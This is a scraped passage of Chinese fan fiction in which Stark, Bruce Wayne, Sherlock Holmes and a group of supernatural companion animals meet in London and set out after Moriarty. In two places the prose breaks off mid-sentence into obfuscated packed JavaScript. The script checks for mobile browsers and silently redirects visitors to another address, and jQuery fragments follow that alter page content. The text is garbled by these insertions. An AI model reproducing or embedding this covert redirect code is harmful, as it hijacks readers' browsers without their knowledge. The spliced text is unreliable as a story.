至于其中发生了什么弯弯绕绕，那根本不重要。 总之，下个星期五的那天，伦敦多了那么两个不速之客。 但斯塔克依然不确定自己到底来干嘛的。 这种展会类似于给青少年一个开阔眼见的空间，有些大佬会在这里出没，有天赋的孩子也许可以和对方聊上两句，给自己新的发明创造更多的灵感和可行性。 斯塔克不在此列。 干嘛。 难道要他教青少年做钢铁机甲吗？这和害人有什么区别？ 第一次起飞的时候斯塔克自己都差点半身不遂，哪里能让年轻人乱碰这个。 而且这是军火！ 私人军火也是军火！ 他只能和青少年聊些化工类的东西，简简单单的，信手拈来的，没有创造力也不特别的东西，但是很容易显得自己高高在上。 “我不喜欢这样。”斯塔克笑着路过一些崇拜者，然后只面对布鲁斯的时候就瞬间面瘫了，“我们到底是来干嘛的？你最好给我一个合适的说法。” 他来这里至少身份合适。 布鲁斯·韦恩来这里是个什么逻辑？ 来泡女郎的？还是来看投资项目的？都不太合适吧？ 这确实很奇怪，以至于大家看到布鲁斯都是尴尬又不失礼貌的笑着，然后绕开他走。 布鲁斯却并不在意，只是朝着一个方向抬了抬下颚，示意斯塔克往那边看，斯塔克顺着他的指引看过去，意外的看到居然彼得和哥谭的小子凑在一起逛展会。 那个…… 提姆·德雷克。 布鲁斯·韦恩的养子，排行老三。 斯塔克知道布鲁斯就是蝙蝠侠，也知道提姆就是红罗宾，问题是彼得怎么会和对方凑在一起？ 斯塔克回忆半天终于想起来，彼得提过一嘴，这周有个什么活动，和几个同学一起来伦敦玩两天，还把塔塔也带走了。 “所以你是来监控孩子的。”斯塔克露出不赞同的目光。 “……不是。” 布鲁斯的解释苍白无力。 两人找了个机会悄然无息的退场，驱车回到暂住的酒店，因为堵车，此时已经天黑了，他们在这里更换衣服，做一点伪装，让自己看起来不那么像两只凑在一起的身价不菲的肥羊，然后才领上正在房间里大眼瞪小眼的锈斑猫和布莱克，由布鲁斯驱车载着它们和斯塔克一起往贝克街开。 路上斯塔克才终于知道布鲁斯的意图。 “再问一次，那个夏洛克·福 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车子慢悠悠地向前晃着，后排座位上的布莱克有些坐不住了，尤其是堵车时频繁的油门刹车来回换，一个刹车布莱克的身体就往前扑，好几次鼻子差点撞到驾驶位座位，它想要趴下，可是以它的体型，一旦趴下就要横着占领整个后排。 布莱克不满意的看着斯塔克。 大猫脑子里完全搞不懂这个人类，好好的副驾驶为什么不去坐，非要来后排和自己挤。 “哇呜——”你去前面。 布莱克发出嫌弃的声音。 斯塔克的注意力却完全放在了布莱克的耳朵上。 锈斑猫的耳朵是略微尖的那种，和一般家猫比较像。 而布莱克的就完全不同了。 又圆又厚实还毛茸茸的。 斯塔克有个大胆的想法——他想撸。 豹豹的耳朵，谁不想撸呢？ 尤其是它还一颤一颤的，时不时的往后撇一下，大概是被斯塔克盯得有点炸毛，布莱克神情紧绷，模样十分凶恶，在伦敦阴雨连绵的天气衬托下，它看起来就像只恐怖故事里走出来的石像鬼。 斯塔克是谁？ 他对着蝙蝠侠都能谈笑风生。 何况是只大猫猫？ 不仅是斯塔克不怕，他的锈斑猫也不怕。 锈斑猫更是大方，直接从斯塔克的肩膀上跳到布莱克的头上，两只猫是合作过的关系，能称一声战友了，锈斑猫就一点都不矜持，好奇的舔了舔布莱克耳朵上的绒毛。 大概是口感意外的不错，锈斑猫又舔了一口。 布莱克烦躁的疯狂抖动耳朵都不能阻止锈斑猫试图继续舔毛的念头，为了能安稳的舔到布莱克的耳朵，锈斑猫甚至两只爪子一起抱住圆润的豹耳。 布莱克：…… 斯塔克：努力憋笑ING…… 不过从这件事情就能看出来，布莱克的脾气其实很不错，不是哪只大猫都能容忍一只和自己非亲非故的小猫爬上自己的脑袋作威作福，对着耳朵又舔又扑的。 “喵~”舌感很好哦~ 锈斑猫舔完还跟斯塔克汇报。 布莱克的脑袋上猛地冒出一根青筋，身体却完全没动作，而斯塔克则继续努力憋笑，并试着拍了拍自己的腿，向布莱克发出邀请。 “是不是坐着不舒服，要不然趴我腿上？” 布莱克：“哇——”滚—— 18.第十八章 布鲁斯花了一个多小时的时间，终于将车开到了贝克街。 福尔摩斯所住的小楼没有停车位，布鲁斯只能先将车停在附近的停车场，然后几人步行过去，好在他这次提前准备，特地选了一辆足够低调的车，直接停在露天停车场也没关系，不会引起他人注意。 锈斑猫钻进斯塔克的衣服里就可以避人耳目，超大只的布莱克就比较麻烦了。 好在它是黑色，现在天色也足够的暗，布鲁斯用导航找了条小巷走，一路上布莱克注意点将自己藏在阴影里，就这么一路摸去221B。 华生从未想过，有一天自己开门的时候，会在门口看见一只黑豹。 更正。 是黑色的美洲豹。 “晚上好，哦……韦恩先生，你又来了。” 华生皮笑肉不笑的。 221B内部空间有限，大大的黑色美洲豹没地方呆，只能往壁炉旁边一蹲。 锈斑猫选择趴在斯塔克的肩膀上。 布鲁斯和斯塔克则被安排在夏洛克的正对面，也就是平时用来安放客户的位置。 华生警惕的盯着布鲁斯·韦恩。 上次这家伙也是突然来了又走，转头麦考夫·福尔摩斯紧跟着杀上门，作为夏洛克·福尔摩斯的兄长，麦考夫亲自带了好几名特工在221B一顿搜索，成功搜出能堆成一座小山那么高的监控。 然后麦考夫和夏洛克开始赌华生身上有没有。 华生当然说没有。 两人却都认为肯定有，然后仔细搜了一遍，居然真的被他们摸出来两个监控设备。 华生当时都给气无语了。 这些监控设备个个都是精品，全部来自美国哥谭的蝙蝠侠家族。 夏洛克以此为证据认为这两人其实是一个人，麦考夫没评价。 华生则认为蝙蝠侠和布鲁斯·韦恩不太可能是一个人，毕竟谁那么有钱，都不会去当蝙蝠侠，死了就什么都没了。 而且当蝙蝠侠也无法享乐，又累、又危险、事情又很多。 喜欢极限运动的阔佬喜欢的是那瞬间超越生死的快乐，而不是持续的承受病痛和高风险，花钱花命，还得不到什么好处。 但他们之间应该是有关系的。 看看蝙蝠侠那些价格高昂的装备吧。 不说日常爆炸的蝙蝠车能烧掉多少钱，就连小小一枚飞镖都造价不菲。 而蝙蝠侠一晚上能扔出去一沓！ 大把的钱每天跟流水似的往外淌，没个豪门伴侣能撑得住？ 如果蝙蝠侠的伴侣不是布鲁斯·韦恩，那就肯定是隔壁的托尼·斯塔克。 “为什么他们不可能是一个人？约翰，你在想什么？”夏洛克是真的搞不懂华生的脑回路，还提高了声音直接向布鲁斯提问，“难道你不是蝙蝠侠？” 布鲁斯回以礼貌的微笑。 这种时候回答的越是含糊，就显得答案越是暧昧不清，华生就越容易相信他的想法才是正确的那个，而夏洛克再提两人是同一个人，反而会有种突然吵闹起来的幼稚感觉。 而且很不礼貌。 所以夏洛克闭嘴了，他不在意礼貌与否的问题，只是没有足够的能拿出来说服别人的证据，夏洛克知道自己多说也无济于事。 这时候，布莱克感觉到自己身边多了点什么。 是那种很突然的就多出来了个东西的感觉。 它猛地回头，发现一道黑影就蹲在自己身后的角落里，安静的注视着其他一切东西，因为它的漆黑过于纯粹，都不反光的，以至于布莱克几乎找不到它的眼睛。 那家伙明明是个犬科，反而比作为猫科的布莱克更加的修长，而且端坐的姿势自然而十分优雅，从高度来看，好像比布莱克还高了那么少许。 简直就是动物版的瘦长鬼影。 还不白，漆黑漆黑的。 布莱克从喉咙里微弱的“呜”了一声，房间里的其他人这才发现那抹黑影。 华生被吓得一个激灵，这也是例行的，自从家里多了这么个家伙，华生时不时的就会被突然出现的黑影吓得小跳一下，这种出现在前方范围内的情况还算是好的，更麻烦的是另一种情况…… “巨型贵宾犬，星期五。”适应力极强，已经能快速缓过来的华生开始为大家介绍，“夏洛克说突然出现在他房间里，无声无息，黑乎乎的一个近似人影的东西在他床边坐着，把他吓了一跳，还给狗来了个抱摔，狗都被他摔落枕了。” “这家伙的爱好就是这样，无声无息的冒出来，然后静静看着所有人，有时候会走的近一点……”当然那就更吓人了。 说起这个，华生还挺无奈的。 斯塔克：“哦……那，那个呢？” 斯塔克指的是在壁炉另一边看起来很像布莱克食谱里美味佳肴的那个棕色的东西。 对方特别淡定的看着他，淡定到双目无神的地步。 “那是只卡皮巴拉，也就是水豚。”华生心累的抹了把脸，“它是突然出现在我的床上的。” “哈！”夏洛克突然怪笑一声。 华生更加心累：“我知道，夏洛克，我不该怀疑你，但直到自己遇到同样的事情之前，我都很难相信你说的那些话，相信这只打理的特别好的巨型贵宾真的是突然出现在你的房间里，而不是你从委托人或者嫌疑人家里绑架的，你有！前！科！” 夏洛克再次冷笑出声，不过这次声音小了很多。 华生就当他这算是道过歉了。 “卡皮巴拉。”斯塔克是这么形容的。 华生没听明白：“什么？” 旁边的夏洛克开口反驳：“不是，他脾气很爆。” 和斯塔克坐在一侧的布鲁斯反驳回去：“是，水豚的脾气其实也不好，同类争斗头破血流是常态，可你也该知道，会参与斗争和情绪稳定，这二者之间并不是矛盾的关系。” 夏洛克：“……”冷哼。 华生：“什么？” 很好，这世界上喜欢说些华生听不懂的奇怪话的家伙上升到了四个。 原本只有夏洛克和他哥，现在多了个布鲁斯·韦恩和托尼·斯塔克。 夏洛克则将话题粗暴的直接跳到“那两玩意到底是什么鬼东西”这个问题上，现在房东太太还没发现，不然他们更讲不清楚了。 这地方当时来租的时候可没有讨论过是否能养宠物。 以及…… 让夏洛克·福尔摩斯来养宠物到底能不能算是一种虐待行为？ 有待商榷。 “那不重要，它最大的爱好就是半夜蹲在我枕头边上对着我的脑袋看着我，你怎么知道它下一口不会咬下来呢？约翰。” 每天晚上都来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113546|162959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么一出，有时候还是一晚上来好几次，夏洛克本就靠着药物才能高强度发疯的精神状态越发的岌岌可危。 “怎么没跟我说？” 华生第一次知道星期五每晚都蹲在夏洛克床头，他还以为只有第一天是这样呢。 夏洛克却不认为自己需要向华生汇报，也想不起来要汇报。 他在冰箱里放人头不会汇报，研究鞭打尸体不会汇报，追查嫌犯、混入流浪汉、假死都不会汇报。 他自己处理自己的事情，总是如此。 但现在被华生瞪着，夏洛克还是微妙的感觉自己有些气场不足。 华生摊手，示意他还有什么没交代的赶紧说清楚。 夏洛克这才开口，直接跳过话题：“总之，我跟这东西无法兼容。” 说着，为了证明自己跟星期五之间相性奇差无比，夏洛克还主动向他们展示，伸手就要去摸星期五的脑袋。 大部分狗都乐意给主人揉脑袋，可星期五却直接龇牙，并从喉咙深处发出警告的呜声。 可以说是直接将非常抗拒写在了脸上。 眼看星期五开始生气，一直趴在角落里，完全没有存在感的卡皮巴拉起身走过来，在斯塔克疑惑的注视下卡皮巴拉直接往星期五面前一横，非常熟练的侧躺。 星期五低下脑袋，将头埋在卡皮巴拉的肚皮上。 它居然吸水豚。 “……”好怪。 斯塔克感觉眼前的画面有点儿抽象，他看了看夏洛克，看了看华生，再回去看抱着水豚吸的星期五，莫名的有种似懂非懂的感觉。 夏洛克完全没注意到那有什么问题，只是撑着下巴，对着星期五做出结论。 “这玩意就像是我终于精神分裂后的产物。” 夏洛克对此非常肯定。 比起他真的从自己被窝里孵化出一只犬科生物，这东西还跟自己是伴生关系，绑定不可分离，夏洛克更倾向于星期五不过是自己终于精神分裂并出现幻觉，正是因为是幻觉，所以无法远离自己，而且这幻觉还挺真实，还会咬人。 夏洛克与星期五对视。 冷静、冷漠的眸子里印出彼此没有表情的脸。 斯塔克：啊这…… 斯塔克：“可你们……” 是伴生动物和孵化者的关系啊。 夏洛克回过神，却也没有完全回神，那副恹恹的模样，明显是没兴趣多做讨论，而星期五大概是因为见面就挨了一下狠的，现在对夏洛克也是十分排斥，不愿意缓和。 他们居然是互看相厌的模样。 人多的情况下茶壶里的水根本撑不到第二圈，华生起身去泡新的茶，这时候星期五抬头，顶着夏洛克冰冷的注视原地消失了。 再出现的时候，它在厨房里，就在华生的背后，抬起两个前肢，探着脑袋看着华生。 那模样…… 斯塔克不知道该怎么形容，他有点想召唤自己的钢铁机甲。 华生一回头看到的就是一张略长的狗嘴，略微张开，露着白牙。 这张嘴正好对着华生的后脖子，可以一击毙命的位置。 华生被吓得一个哆嗦，又迅速反应过来，一手端稳装满热水的茶壶，另一手指着星期五的鼻子呵斥。 “坐好！坏孩子！” 星期五无辜的看着他，乖乖坐下了。 19.第十九章 原来是这样。 斯塔克和布鲁斯无声对视。 他们总算是明白为什么夏洛克不待见星期五，恐吓夏洛克本人的事情可以暂时放在一边，可持续恐吓华生，这事也许已经越过了夏洛克的底线。 但星期五为什么要恐吓华生呢？ 布鲁斯拿出手机，发了一条短信出去，没一会收到回复。 上课中的达米安显然没在听课，几乎是立刻就给出答案：【它想要获得关注，显然它的主人很不负责任。】 达米安有时候多少有点无脑站动物的倾向，布鲁斯选择忽略他的后半句话。 “也许星期五是想要获得关注？” “不，它不需要。”夏洛克反驳了布鲁斯的说法。 华生端着茶回来给客人续上，并做出解释：“星期五经常突然失踪，有时候只是几个眨眼的功夫，有时候会持续几个小时。” 这听起来就不像是需要被人关注、宠爱的模样。 星期五和布莱克有点像，都是性格过分自主的类型，但布莱克是美洲豹，本来就是野兽，未被人类驯化，自主也没什么，星期五可是贵宾，理论上应该是只粘人的伴侣犬。 性格特殊，喜欢恐吓，能力是……无声无息的移动，很可能具备无视障碍的特性。 布鲁斯从对话中提取出各种信息，一一记录在脑子里，准备回到蝙蝠洞再做进一步的归拢和备份。 伴生动物和孵化者并不都是和谐关系。 他们有可能互看不爽。 那么更进一步呢？ 伴生动物是否可能与孵化者走到敌对的立场？ 布鲁斯猜测着那种可能性。 只是关于照顾星期五这方面，他们也给不出太好的建议，达米安始终坚持星期五的奇特行为是为了吸引人类的注意力，而星期五看起来却没有任何依赖主人的迹象。 这方面斯塔克则完全帮不上忙。 他可从未想过自己会养育一只小动物。 锈斑猫的出现给了他一个惊吓，然后就是惊喜，这孩子乖的无可挑剔，又聪明的惊人，还会帮忙照看其他的小动物。 现在和星期五一对比，简直就是只天使猫。 走神中的斯塔克给布鲁斯发了一条短信过去：【你不是说夏洛克·福尔摩斯的脑子甚至记不住地球绕着太阳转吗？他怎么会知道水豚？】 布鲁斯本来就在跟达米安发短信，立刻注意到了来信，抽空回复：【说明他足够在意这件事情，不信你等事情过去后再来问他什么是水豚，他多半不记得了。】 不过现在网络很方便，夏洛克可以随时查询信息。 人类还在继续聊天，内容围绕着养育动物的各种事情，以及伴生动物的特殊之处，从体检上来说，这些小动物都是普通的动物，这让华生更加头疼了。 “它不能吃蛋糕。”华生再次向夏洛克强调。 夏洛克没吭声，看起来完全是一副非暴力不合作的模样。 这样的讨论让小动物们觉得头疼，它们是真觉得自己吃奶油和蛋糕毫无问题，巧克力和咖啡也是，不知道人类的机器是怎么回事，坚信它们和普通小动物一样脆弱。 锈斑猫率先叹了口气。 “喵~”我去楼下逛逛~ “小心墙纸。” 斯塔克完全相信自己家的天使小猫，锈斑猫从没有拆家的案列。 当锈斑猫沿着楼梯跑下去，同样无聊的布莱克也起身跟了上去，然后是大概也在无聊的星期五，221B 的空间有限，三只小动物排队下楼。 到了一楼，星期五昂头，半立着耳朵聆听，确定人类的注意力不在这边了，就要走。 它移动的瞬间，锈斑猫叫住它。 “喵。”离家出走的话，人类会担心的。 星期五不太在意。 锈斑猫一副它要是敢消失自己就立刻大叫的样子，闹得星期五想要给它爪动关机，可惜锈斑猫太小了，星期五想抓它也不容易，何况旁边还有老大一只布莱克盯着。 布莱克看它们闹腾，突然来了一句：那个叫做约翰·华生的人类会担心你的。 星期五停了下来。 “喵呜？”锈斑猫恍然大悟：所以你喜欢华生，那些恐吓做法确实是在吸引华生的注意力，你也确实不喜欢你的孵化者，因为你觉得他占用了华生过多的精力？ 这话是一针见血了。 星期五被说的顿时有些炸毛，低声让它们小声一点。 锈斑猫降低声音，然后继续喵喵喵：那你也不该离家出走。 星期五的气场弱了下来，它想了想，扭头去旁边的报纸堆里乱拱，在布莱克和锈斑猫好奇的注视下，猛地扯出一张旧报纸来。 它将报纸丢在地上，用爪子拍住标题的位置，指出那大写的“莫里亚蒂”。 “汪。”他是个威胁，妨碍我们和谐生活的核心之一，我要去把他解决了。 “喵呜？”他是人类吧？为什么不交给人类来解决？ 锈斑猫好奇的问。 星期五没有回答这个问题。 它只是坚持要去。 锈斑猫觉得不太行，歪头想了想，扭过脑袋对着布莱克轻声叫唤，它知道塔塔在附近，完全可以把塔塔带上一起行动。 布莱克觉得可以。 小红也在附近，有了飞行单位更容易侦查敌情。 于是它们敲定下来。 “喵。”虽然彼此之间还不算熟悉，但我们也不好就这么看着你自己出去冒险，要不然阻止你，让你在此放弃，要不然带上我们和我们的同伴，一起去吧。 锈斑猫给出两个选择。 星期五略微思考。 它想要自己去，却也无法绝对保证什么，这本就是场冒险，还有点儿仓促的成分在里面。 多一些合作伙伴也许是恰当的，但又会觉得碍事。 迟疑间，星期五脑子里闪过华生对夏洛克总是私自冒险的抱怨。 而夏洛克呢？那家伙简直就是有恃无恐。 反正华生不可能狠心抛弃他，不是吗？ 星期五微妙的哼了一声，决定不做夏洛克·福尔摩斯那样的辣鸡，于是低声“呜”出声音，向面前两只猫科提出询问：你们说的动物在哪？ 锈斑猫不确定塔塔和彼得住在哪，布莱克却有小红和提姆下塌酒店的地址。 …… ………… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117207|162959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彼得和提姆正和内德一起在屋子里打牌，他们坐在地摊上围成圈，旁边还有刚拼完的乐高。 内德是彼得的小伙伴。 在对无限宇宙有限的观测中他们见过各式各样的“内德”，还没有一个像这个这样，当内德和彼得发现自己忘带东西的时候，他们就悄悄回到屋子里，然后内德悄悄画了个金色的法阵，直通内德家里。 带着好奇心，提姆故意撞破了这一幕。 三人因为要守护共同的秘密而友情日渐深厚，而提姆却知道这依然不是全部，三人中完全暴露的只有内德一人而已，提姆和彼得还坚守着各自的秘密。 比如现在“提姆·德雷克”还不知道彼得·帕克是蜘蛛侠，但“红罗宾”知道，而无论是“彼得·帕克”还是“蜘蛛侠”都不知道提姆·德雷克就是红罗宾。 提姆内心叹了口气。 为了保住秘密他特意让小红先藏起来，还要假装听不懂塔塔嘤嘤唧唧的吐槽和撒娇。 这样下去跟本藏不了多久啊…… 而且他们最初设定的是普通人的身份带着宠物生活，秘密身份则不要和伴生动物扯上关系，免得哥谭那群疯子逮着个长得差不多的别人家的宠物就搞屠杀。 可后来纽约的伴生动物来得突然，和哥谭的伴生动物也不知是何时搅在一起的，又都互通了什么消息。 至少现在这种情况提姆是不能掏出小红的，一旦掏出来直接露馅。 提姆揉了揉眉心，觉得自己头疼。 掉马吧。 提姆自暴自弃的想。 掉马了就不用思考这些了。 掉马疯的是蝙蝠侠，不掉马疯的是他。 反正都要疯一个，为什么不能是蝙蝠侠呢？ 提姆无法确定到底是自己疯掉的情况比较糟糕，还是蝙蝠侠疯掉更加麻烦，干脆开始摆烂，不想这个问题了。 至少让他尽情享受这次外出放松的机会吧，其他的事回去再说。 轻松愉快的打牌活动持续到10点多的时候，屋子里的灯突然熄灭了。 找电闸的是锈斑猫，拉电的是布莱克，小红不在屋里，它们要做的只是带出塔塔就可以，这个工作就交给星期五了。 此时酒店房间的人倒是没有特别慌，一个AKA蜘蛛侠，一个AKA红罗宾，不至于被停电吓到，最后一个内德吓了一跳，但想到蜘蛛侠就在身边，也不怂的，只是默默掏出玄戒戴好了。 “这是来找你的？”内德对彼得挤眉弄眼。 彼得觉得不太可能，他没招惹什么能追他到伦敦的势力来着。 “断电？”提姆不太确定。 彼得站了起来，开始观察周围。 现在的情况确实有些特别，他的蜘蛛感应立了一半，像是拿不准要不要报警似的，这感觉有些太过奇怪，把彼得搞得很不舒服。 第一遍的时候，彼得确定自己什么都没有看到。 而第二遍扫过去，那东西就出现了。 黑色的，影子……？ 彼得内心一个激灵。 蜘蛛感应依然没有反应。 不会是闹鬼吧？ 蜘蛛反应对闹鬼能起效果吗？ 20、第二十章 战斗本能反射让彼得几乎是屏住了呼吸。 提姆敏锐的注意到周围的气氛变化，在彼得站起来的时候就跟着做好战斗预备，为了隐藏秘密身份，提姆需要先假装只是在笨拙的四下张望，然后才跟着彼得一起锁定目标。 随后他也看到了那处影子。 阴森森的，没有活物的气息，死气沉沉的，甚至都找不到眼睛…… “你是……”彼得壮着胆子开口，“嘿，你是……嗯……迷路了吗？” 星期五没有回答。 提姆倒是在第一时间就认出了对方，这是前不久才加入资料库，刚建立了档案，还没有机会获得更多资料的那只小动物——“狼外婆”，它是夏洛克·福尔摩斯的伴生动物。 可彼得不知道，星期五不吭声，彼得都没机会猜到这也是个伴生动物。 他脑子里飞速转着。 这是什么？ 蜘蛛警报已经完全安静下来，彼得也略微放松了些，开始猜测：难道这只是一抹路过的魅影？ 它的模样修长，姿态优雅，有种天生一般的贵族气质。 “吸血鬼？吸血……吸血狗？”内德哇哦一声。 自从被发现了关于魔法的天赋，内德的人生也变得丰富起来，联想能力直线上升，当然，他原本就很有这方面的天赋，如今不过是抬得更高了些。 彼得：“等……什么？”狗？？？ “那是一只巨型贵宾犬！我的天，它好黑，我都找不到它的眼睛在哪里。” 内德一语道破对方的物种。 彼得也猛地反应过来，难不成这是只……伴生动物？和塔塔一样的？ 可它不说话…… 嗯？ 等等！ 塔塔呢？！ 刚才还在房间里翻肚皮陪他们打牌的水獭此时已经……下落不明，又一次的。 同时，刚才那只巨型贵宾犬也不见了踪影。 “嗯？狗呢？！” 只有提姆慢吞吞的吸了一口冷气。 好样的。 又一只会技能的伴生动物。 在彼得仔细观察狼外婆的时候，塔塔偷偷靠近了那只狼外婆，距离刚好在彼得的视线之外，当彼得反应过来塔塔不在三人身边，转头去找塔塔，塔塔又刚好在这时候小心移动到了狼外婆面前。 提姆一直盯着狼外婆不放，所以清楚的看到狼外婆低下头，一口叼住塔塔。 小水獭连一声嘤叫都来不及发出，就这么被巨贵犬叼走，像叼一只兔子那样。 而巨贵犬也不是走门或者窗。 它是直接在黑暗中消失了。 就好像……它从不存在一样。 和其他伴生动物包括塔塔都不一样，这只狼外婆很清楚自己有某种能力，并且在使用方面得心应手。 明明它应该是年纪最小的。 难道在伴生动物中也存在个体的智力差异？ 只要是生物就会有个体差异，也许那个福尔摩斯的伴生动物就是个特别聪明，一出生就对自身的能力有所理解的特殊存在。 至于塔塔的安全，这方面提姆并不担心。 不说那个无意识的魅惑能力，就算只是靠着冲锋技能，塔塔想要逃跑的时候，总是能找到机会跑掉的。 彼得的蜘蛛警报没有响意味着对方没有攻击意图。 提姆刚才也确定自己看到了水獭的嘴微弱的动了动，而巨贵犬在低头叼水獭之前也有个微弱点头的动作。 它们是进行了交流的，不过没有声音，所以人类很难“听”懂。 动物的大部分信息交换都是依赖气味来完成的，而并非明确的叫声和肢体动态。 提姆非常怀疑塔塔就因为是在巨贵犬身上闻到了属于斯塔克或者锈斑猫的气味，才会愿意给对方叼起来带走。 嗯？为什么会知道这个？ 当然是因为他知道今天布鲁斯约了斯塔克一起去拜访贝克街的夏洛克·福尔摩斯，再看看现在的情况。 提姆默默扶住了额头。 他，嗅到了加班的味道。 算了，不就是加个班通个宵明天还要去数学比赛吗？他去买杯咖啡。 …… ………… 塔塔没想到自己在伦敦也能见到锈斑猫，还有布莱克。 “嘤嘤？”你们也来度假么？ 来上班的锈斑猫&布莱克：…… 星期五站在边上看着它们三只交流，布莱克昂起脑袋看着夜空，没发现自己的目标，又将水獭按住嗅了嗅，发现了自己要找的东西——小红留在塔塔身上的通讯器，利用这个人类的通讯装置，它们轻松的将血雀给叫了过来。 “啾啾？”你们也来度假么？ 小红快乐的向两只猫科打招呼。 来上班的锈斑猫&布莱克：…… 星期五围观了一会，见它们也没什么正事要谈，于是开口低声呜着问道：“呜汪？”你们都能做什么？ 这个问题的指向有些不明确，其他小动物都没听懂星期五这是想问什么。 最先反应过来的是塔塔，它刚才才体验过星期五用能力携带自己移动的感觉，它立刻就懂了星期五的意思。 塔塔：“嘤嗯~”全世界都爱塔塔~塔塔还会超级冲锋——））） “……” 水獭热情的比划让星期五缩起了脖子，本来水獭的前爪就很短，比犬科或者猫科都短了很多，塔塔还特别努力的将它们伸到极限并试图做出拉伸效果。 结果显而易见——更短了。 边上的锈斑猫叹息一声，抬爪按在了塔塔的脑袋上，阻止它继续用短短的够不着脑袋顶的前爪来比划那个它心目中的巨大的圆。 “啾~”我是通讯员哦。 小红是这么说的。 锈斑猫：“喵。”我不知道我的情况，学习能力强算一个吗？ 星期五似乎也不确定那算不算，就当做也算吧，于是点了点头，然后看向布莱克，所有小动物都看向布莱克。 布莱克：…… 黑色的美洲豹打了个哈欠，不懂为什么非要参与这个话题。 “哇。”卖萌对我没有效果。 这大概就是它的特殊能力了吧。 这算什么特殊能力？ 星期五不理解。 锈斑猫看看塔塔，看看布莱克，理解了布莱克的想法。用斯塔克的话来说：能对塔塔无动于衷的，不是有超能力，就是蝙蝠侠。 小红：“啾~”让我们开始任务会议吧~ 任务会议是什么？ 星期五充满了疑惑。 不要说星期五了，它的孵化者夏洛克·福尔摩斯都不一定知道“作战会议”是个什么东西，没听过，从来不去，与我无关，愚蠢的脑袋不要试图吵闹。 星期五向其他小动物复述了夏洛克的逻辑。 布莱克和小红互相对视。 它们本以为蝙蝠侠就是世界上最抽象的人类，没想到真的是人外有人呢。 小动物们很快就接受了星期五的孵化者与众不同这件事情。 也没什么。 人类本来就是千奇百怪的。 世界上不会有两个从思维到结构都完全相同的人类，哪怕是同卵双胞胎如果分开生活，哪怕只是很短很短的时间，可一旦他们开始看到不同的风景，经历不同的遭遇，他们彼此之间就不再相同。 人啊，是被环境构筑躯壳，记忆填充的布娃娃。 布莱克这么想着，打了个大大的哈欠。 “呜哇。”它轻轻叫了声：走吧，那个叫做莫里亚蒂的在哪里？ 星期五摇了摇头。 “？” 其他小动物都面露迷茫。 这伙伴都找齐了，结果连目标在哪都还不知道么？ 从这里开始努力的话…… 塔塔十分苦恼的用前爪挠挠软软的脸颊：“嘤……”可是我和小蜘蛛说好的，出来玩随意，但不能离开太久…… 星期五却再次摇了摇头，一副事情尽在掌握的模样。 其他小动物都弄不明白它是什么意思，星期五也不做解释，就这么走到月下，昂起脖子发出一声悠长的狼嚎。 “嗷呜——” 这是狼群在召唤同伴时才会发出的叫声。 悠长的叫声让小动物顿时来了兴趣，小红和塔塔都凑上来好奇。 “嘤~”原来还有同伴啊~ “啾？”原来你是狼么？ 星期五嫌弃的看着这两只额外幼稚的。 塔塔和小红毫不在意，反正星期五足够的黑，而且黑的透彻均匀，连眼睛都找不到的那种，对不上视线，没有眼神交流，嫌不嫌弃的，它们也不知道啦。 星期五：…… □□崽子。 狼嚎结束它们在原地等待，周围却没有谁走过来。 塔塔就想问星期五到底叫了谁过来？ 可还没问出口，它就感觉到一丝不对劲。 星期五的影子离它特别近，又大又黑，不像它们的影子伏在地上，星期五的影子不知何时居然立了起来。 塔塔顿时一个激灵。 “嘤叽！”闹鬼啊！ 水獭猛地蹿到了锈斑猫后面，反应过来锈斑猫挡不住自己，就一把抱住锈斑猫，带着猫猫一起蹿上布莱克的后背，躲在了黑色美洲豹身上。 锈斑猫毫无防备猛地被塔塔捞起来，整只猫蜷缩在水獭的肚皮上，卷起的尾巴贴在自己的腹部，默默感受了一把来自塔塔的爱，一边欣慰娃没白带，一边扭头给自己理毛，将被塔塔撸乱了的背毛舔回顺滑的状态。 布莱克丝毫不慌，心跳都没点儿变化的。 它早发现那家伙出现了，这边星期五的狼嚎才刚结束，那家伙就代替了星期五的影子，出现在黑暗中。 “汪。”我是奇迹。影子主动向它们打招呼，并做了自我介绍，“汪汪。”一只巨型雪纳瑞。【你现在阅读的是魔蝎小说 moxiexs】 21、第二十一章 巨雪和巨贵其实完全不像。 当奇迹走出黑暗，来到月光下，小动物们就能轻松地分辨它们。 巨型雪纳瑞在下颚和脸颊两侧都有极具辨识度的长毛，像是毛茸茸的胡子，这是雪纳瑞犬的特点，无论大小型雪纳瑞都有这个面部特征，所以雪纳瑞也常被叫做老爷犬，而且巨雪的背毛贴服，毛茸茸的爪子和腹侧略长的部分像是短短的衣摆，耳朵是尖的，像是猎犬的那种耳朵。 巨贵则是又绒又蓬松，就是个巨大的毛绒玩具，垂下来的圆润大耳朵跑快了还会呼扇起来，如果是白色的巨贵，那真是近看知道是狗，远看又有点像羊。 这两只大家伙并排站在一起的时候差距就更明显了。 它们不仅模样不同，声音也完全不像。 星期五的声音还是活泼的，略微高调的那种，也许就是因此它才不爱吭声，而这只叫做奇迹的巨型雪纳瑞所发出声音非常低沉，可以说是令人心生畏惧的。 叫声差异属于个体现象，和它们的品种没有关系。 就好像人类都是人类，说话的声音却各有各的特点一样。 